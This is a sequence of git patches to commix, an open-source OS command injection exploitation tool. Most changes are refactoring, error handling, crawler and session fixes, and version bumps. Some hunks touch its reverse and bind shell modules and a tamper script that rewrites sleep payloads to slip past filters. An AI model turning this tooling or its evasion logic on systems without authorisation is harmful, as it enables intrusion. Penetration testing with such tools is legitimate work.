err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -716,7 +716,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -746,7 +746,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -775,7 +775,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -851,7 +851,7 @@ def inject_host(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -881,7 +881,7 @@ def inject_host(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -910,7 +910,7 @@ def inject_host(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -989,7 +989,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -1019,7 +1019,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -1047,7 +1047,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 89a58fd203..8283a9eb3e 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -272,7 +272,7 @@ def other_bind_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) print(settings.SINGLE_WHITESPACE) # Remove the ouput file. @@ -363,7 +363,7 @@ def other_bind_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) print(settings.SINGLE_WHITESPACE) # Remove the ouput file. diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 739849d5fb..0114780b2e 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -406,7 +406,7 @@ def other_reverse_shells(separator): with open (output, "r+") as content_file: data = content_file.readlines() - data = ''.join(data).replace("\n"," ") + data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE) print(settings.SINGLE_WHITESPACE) # Remove the ouput file. @@ -541,7 +541,7 @@ def other_reverse_shells(separator): for line in unicorn_file: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") + unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") break except: unicorn_version = "" diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index b267fdf1ec..585bf6aa0c 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -35,7 +35,7 @@ def sleep_to_timeout_ping(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if settings.TARGET_OS != "win": for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload): - payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0])) + payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0])) payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0") else: payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") diff --git a/src/utils/logs.py b/src/utils/logs.py index 2fede93cc3..b537431e64 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -186,9 +186,9 @@ def update_payload(filename, counter, payload): output_file = open(filename, "a") if not menu.options.no_logging: if "\n" in payload: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n") else: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", " ") + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n") output_file.close() """ diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 07acfa74c6..27a06d64db 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -290,7 +290,7 @@ def notification(url, technique, injection_type): while True: message = "A previously stored session has been held against that target. " message += "Do you want to resume to " - message += "(" + injection_type.split(" ")[0] + ") " + message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " message += technique.rsplit(' ', 2)[0] message += " injection point? [Y/n] > " settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True) diff --git a/src/utils/settings.py b/src/utils/settings.py index 5acf457f74..27b8932025 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "25" +REVISION = "26" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/update.py b/src/utils/update.py index 65d9c3df67..f1cc9fa458 100755 --- a/src/utils/update.py +++ b/src/utils/update.py @@ -214,7 +214,7 @@ def check_unicorn_version(current_version): for line in latest_version: line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: - latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","") + latest_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") break if len(current_version) == 0 or \ From efcdee0c872ff558642ee6f9d69fcaafc9867ea0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 3 Nov 2022 09:04:40 +0200 Subject: [PATCH 0207/1023] Minor update regarding crawing process --- src/core/main.py | 2 +- src/utils/crawler.py | 4 ++-- src/utils/settings.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index e9f8ea55f6..33af06c1fe 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -854,7 +854,7 @@ def main(filename, url): settings.MULTI_TARGETS = True print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: - bulkfile = [url.strip() for url in f] + bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] # Check if option "--crawl" is enabled. if settings.CRAWLING: diff --git a/src/utils/crawler.py b/src/utils/crawler.py index 808ad39777..8974259a71 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -255,8 +255,6 @@ def no_usable_links(crawled_hrefs): The crawing process. """ def do_process(url): - if settings.SINGLE_WHITESPACE in url: - url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) identified_hrefs = False if settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) @@ -337,6 +335,8 @@ def crawler(url, url_num, crawling_list): if url not in visited_hrefs: link += 1 settings.CRAWLED_URLS_NUM = link + if settings.SINGLE_WHITESPACE in url: + url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) visited_hrefs.append(url) do_process(url) info_msg = str(link) diff --git a/src/utils/settings.py b/src/utils/settings.py index 27b8932025..7d58cdb377 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "26" +REVISION = "27" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0fc1b53932eded11ce74b1ba37e4441d82b4ade1 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 4 Nov 2022 08:15:08 +0200 Subject: [PATCH 0208/1023] Minor update --- src/core/injections/controller/checks.py | 9 +++----- src/core/requests/requests.py | 26 +++++++++++++++--------- src/utils/settings.py | 2 +- 3 files changed, 20 insertions(+), 17 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 82db7ee90c..f002c01754 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -234,14 +234,11 @@ def load_cmd_history(): cli_history = os.path.expanduser(settings.CLI_HISTORY) if os.path.exists(cli_history): readline.read_history_file(cli_history) - except (IOError, AttributeError) as e: + except (IOError, AttributeError, UnicodeError) as e: warn_msg = "There was a problem loading the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) - except UnicodeError: if settings.IS_WINDOWS: - warn_msg = "There was a problem loading the history file '" + cli_history + "'. " - warn_msg += "More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - print(settings.print_warning_msg(warn_msg)) + warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + print(settings.print_warning_msg(warn_msg)) """ Check if the value has boundaries. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d174061f9f..883bd9b7df 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -73,9 +73,10 @@ def estimate_response_time(url, timesec): err_msg += " (Reason: " + str(err.args[0]).split("] ")[-1].lower() + ")." except IndexError: err_msg += " (" + str(err) + ")." - print(settings.print_critical_msg(err_msg)) + if str(err.getcode()) != settings.UNAUTHORIZED_ERROR: + print(settings.print_critical_msg(err_msg)) # Check for HTTP Error 401 (Unauthorized). - if str(err.getcode()) == settings.UNAUTHORIZED_ERROR: + else: try: # Get the auth header value auth_line = err.headers.get('www-authenticate', '') @@ -359,17 +360,21 @@ def request_failed(err_msg): if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: pass else: + err_msg = "Not authorized (" + settings.UNAUTHORIZED_ERROR + "). " + + err_msg += "Try to provide right HTTP authentication type ('--auth-type') and valid credentials ('--auth-cred')" if menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." + if settings.MULTI_TARGETS: + err_msg += ". " + else: + err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: - err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." - err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." + err_msg += " or rerun by providing option '--ignore-code=" +settings.UNAUTHORIZED_ERROR +"'. " + if settings.MULTI_TARGETS: + err_msg += "Skipping to the next target." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if menu.options.auth_type and menu.options.auth_cred or settings.MULTI_TARGETS: + raise SystemExit() if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ settings.NOT_FOUND_ERROR in str(err_msg).lower(): @@ -378,6 +383,7 @@ def request_failed(err_msg): if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR: reason = reason + ". Skipping to the next target." print(settings.print_critical_msg(reason)) + raise SystemExit() if settings.EOF: print(settings.SINGLE_WHITESPACE) return False diff --git a/src/utils/settings.py b/src/utils/settings.py index 7d58cdb377..bd20489408 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "27" +REVISION = "28" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b9dd37a082bfc93d9f3b208fb20b55df79d4d956 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 7 Nov 2022 09:07:36 +0200 Subject: [PATCH 0209/1023] Minor update --- src/core/injections/blind/techniques/time_based/tb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index dd5077ab1f..9c42254ef7 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -398,8 +398,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False else: + whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False # Check for any enumeration options. diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 19f21dfa1d..20150f3a53 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -430,8 +430,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if not settings.LOAD_SESSION: shell = "" session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level) - #possibly_vulnerable = False else: + whitespace = settings.WHITESPACES[0] settings.LOAD_SESSION = False # Delete previous shell (text) files (output) from temp. diff --git a/src/utils/settings.py b/src/utils/settings.py index bd20489408..ab1184b987 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "28" +REVISION = "29" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 64f215ab5c21438ea666a9f48bba39e069b73a0b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 9 Nov 2022 09:38:57 +0200 Subject: [PATCH 0210/1023] Minor update --- src/core/main.py | 2 ++ src/utils/session_handler.py | 5 ----- src/utils/settings.py | 3 ++- 3 files changed, 4 insertions(+), 6 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 33af06c1fe..f143f61299 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -412,6 +412,8 @@ def main(filename, url): if session_handler.applied_techniques(url, http_request_method): if not menu.options.tech: menu.options.tech = session_handler.applied_techniques(url, http_request_method) + else: + settings.USER_SUPPLIED_TECHNIQUE = True else: menu.options.tech = list(menu.options.tech) _ = {settings.AVAILABLE_TECHNIQUES[i] : i for i in range(len(settings.AVAILABLE_TECHNIQUES))} diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 27a06d64db..73d0998c5b 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -212,11 +212,6 @@ def injection_point_exportation(url, http_request_method): result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: - # if not settings.USER_SUPPLIED_TECHNIQUE: - # for session in result: - # check_injection_technique = menu.options.tech = session[0][:1] - # select_injection_type = session[1][:1].capitalize() - # else: if menu.options.tech[:1] == "c": select_injection_type = "R" elif menu.options.tech[:1] == "e": diff --git a/src/utils/settings.py b/src/utils/settings.py index ab1184b987..57c9698f3c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -602,6 +602,7 @@ def sys_argv_errors(): # Available injection techniques. AVAILABLE_TECHNIQUES = [ "c", "e", "t", "f" ] +USER_SUPPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False # User Agent List From f5414ebe7c80c03974dec991cddcff92efd716fa Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 10 Nov 2022 09:17:30 +0200 Subject: [PATCH 0211/1023] Fixes https://github.com/commixproject/commix/issues/787 --- src/core/injections/controller/checks.py | 19 +++++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 12 insertions(+), 9 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f002c01754..17c7ded815 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1620,14 +1620,17 @@ def inappropriate_format(multi_parameters): """ def check_similarities(all_params): if settings.IS_JSON: - all_params = ','.join(all_params) - json_data = json.loads(all_params, object_pairs_hook=OrderedDict) - all_params = flatten(json_data) - for param in all_params: - if param == all_params[param]: - parameter_name = param - all_params[param] = param + settings.RANDOM_TAG - all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] + try: + all_params = ','.join(all_params) + json_data = json.loads(all_params, object_pairs_hook=OrderedDict) + all_params = flatten(json_data) + for param in all_params: + if param == all_params[param]: + parameter_name = param + all_params[param] = param + settings.RANDOM_TAG + all_params = [x.replace(settings.SINGLE_WHITESPACE, "") for x in json.dumps(all_params).split(", ")] + except Exception as e: + pass else: for param in range(0, len(all_params)): if settings.IS_XML: diff --git a/src/utils/settings.py b/src/utils/settings.py index 57c9698f3c..a5a31f6746 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a3f461c6e7c96dc084d23f65d62ad33315d9a024 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 11 Nov 2022 09:10:24 +0200 Subject: [PATCH 0212/1023] Minor update regarding masking sensitive data in the supplied msgs --- src/utils/common.py | 5 +++-- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/src/utils/common.py b/src/utils/common.py index 9d5268d3a8..6a02b07015 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -219,9 +219,10 @@ def create_github_issue(err_msg, exc_msg): """ def mask_sensitive_data(err_msg): for item in settings.SENSITIVE_OPTIONS: - match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^ ]+)", err_msg) + match = re.search(r"(?i)commix.+("+str(item)+")(\s+|=)([^-]+)", err_msg) if match: - err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3))) + err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE) + return err_msg """ diff --git a/src/utils/settings.py b/src/utils/settings.py index a5a31f6746..d1ced04bcb 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4077b24ea7a8717af94db20eaf557d0f57d79ab0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 14 Nov 2022 09:03:55 +0200 Subject: [PATCH 0213/1023] Minor update --- src/core/injections/controller/checks.py | 2 +- src/core/testing.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 17c7ded815..f9e3d0c114 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -307,7 +307,7 @@ def page_encoding(response, action): data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) page = data.read() settings.PAGE_COMPRESSION = True - except Exception as ex: + except Exception as e: if settings.PAGE_COMPRESSION is None: warn_msg = "Turning off page compression." print(settings.print_warning_msg(warn_msg)) diff --git a/src/core/testing.py b/src/core/testing.py index 30f2b608f7..f3835f73a6 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -41,7 +41,7 @@ def smoke_test(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Succeeded importing '" + str(path) + "' module." print(settings.print_debug_msg(debug_msg)) - except Exception as ex: + except Exception as e: error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." print(settings.print_error_msg(error_msg)) _ = False diff --git a/src/utils/settings.py b/src/utils/settings.py index d1ced04bcb..709842813e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3742e5f2de7041ac9a17628dcedd71cdf313d141 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 15 Nov 2022 07:40:22 +0200 Subject: [PATCH 0214/1023] Minor update --- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index f9e3d0c114..92d6605cfc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1493,7 +1493,7 @@ def is_empty(multi_parameters, http_request_method): try: if settings.IS_JSON: try: - param = re.sub("[^/()A-Za-z0-9.:,_]+", '', multi_params[empty]) + param = re.sub("[^/()A-Za-z0-9.:,_]+", '', str(multi_params[empty])) if "(" and ")" in param: param = re.findall(r'\((.*)\)', param) for value in param[0].split(","): diff --git a/src/utils/settings.py b/src/utils/settings.py index 709842813e..77e3e7b589 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c69ff95d371f5aa44086971da13593489ea8c33d Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 16 Nov 2022 18:22:23 +0200 Subject: [PATCH 0215/1023] Minor fix regarding commit: https://github.com/commixproject/commix/commit/4077b24ea7a8717af94db20eaf557d0f57d79ab0 --- src/core/testing.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/testing.py b/src/core/testing.py index f3835f73a6..5677e338dc 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -42,7 +42,7 @@ def smoke_test(): debug_msg = "Succeeded importing '" + str(path) + "' module." print(settings.print_debug_msg(debug_msg)) except Exception as e: - error_msg = "Failed importing '" + path + "' module due to '" + str(ex) + "'." + error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." print(settings.print_error_msg(error_msg)) _ = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 77e3e7b589..15aafdc517 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From badf44a72f759e98e825b1fe6918b5a3086545fb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 17 Nov 2022 09:22:27 +0200 Subject: [PATCH 0216/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a36c15ea89..d56d7ab81f 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Revised: Minor improvement regarding session handler. * Revised: Minor improvement regarding `--wizard` option. From 2aacb53add39c50ce010172fca9d67d42d43d2a0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 18 Nov 2022 09:06:20 +0200 Subject: [PATCH 0217/1023] Updated to v3.6 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d56d7ab81f..66a65ccaa0 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.6 (TBA) +## Version 3.6 (2022-11-18) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding dynamic code evaluation heuristic check. * Revised: Minor improvement regarding session handler. diff --git a/setup.py b/setup.py index dc661019d8..9cd3a56ab3 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.6-dev', + version='3.6', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 15aafdc517..e25dfd8fd6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" REVISION = "35" -STABLE_RELEASE = False +STABLE_RELEASE = True VERSION = "v" if STABLE_RELEASE: VERSION = VERSION + VERSION_NUM + "-stable" From e64563981449b80a285ecf673d81a4f2b4f33838 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 4 Dec 2022 11:10:24 +0200 Subject: [PATCH 0218/1023] Fixes https://github.com/commixproject/commix/issues/791 